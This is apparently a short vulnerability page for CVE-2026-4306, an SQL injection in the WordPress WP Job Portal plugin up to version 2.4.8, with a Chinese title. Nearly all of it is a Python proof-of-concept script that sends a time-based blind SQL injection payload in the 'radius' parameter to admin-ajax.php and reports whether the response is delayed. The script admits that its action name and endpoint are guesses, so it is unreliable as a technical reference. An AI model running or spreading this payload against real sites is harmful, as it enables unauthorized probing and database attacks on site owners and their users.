CVE-2026-4306 WordPress WP Job Portal插件SQL注入漏洞

import requests # Proof of Concept for CVE-2026-4306 # Target: WordPress WP Job Portal Plugin <= 2.4.8 # Vulnerable Parameter: radius def check_sqli(target_url): # The endpoint might be similar to this based on plugin structure endpoint = "/wp-admin/admin-ajax.php" # Payload to test time-based blind SQL injection # Adjust the action parameter based on the specific vulnerable action discovered payload = { "action": "jobportal_ajax_action", # Placeholder action name "radius": "1 AND SLEEP(5)-- -" # Malicious SQL injection payload } try: response = requests.get(target_url + endpoint, params=payload, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Response time delayed.") else: print("[-] Vulnerability not detected or payload incorrect.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://example.com" check_sqli(target)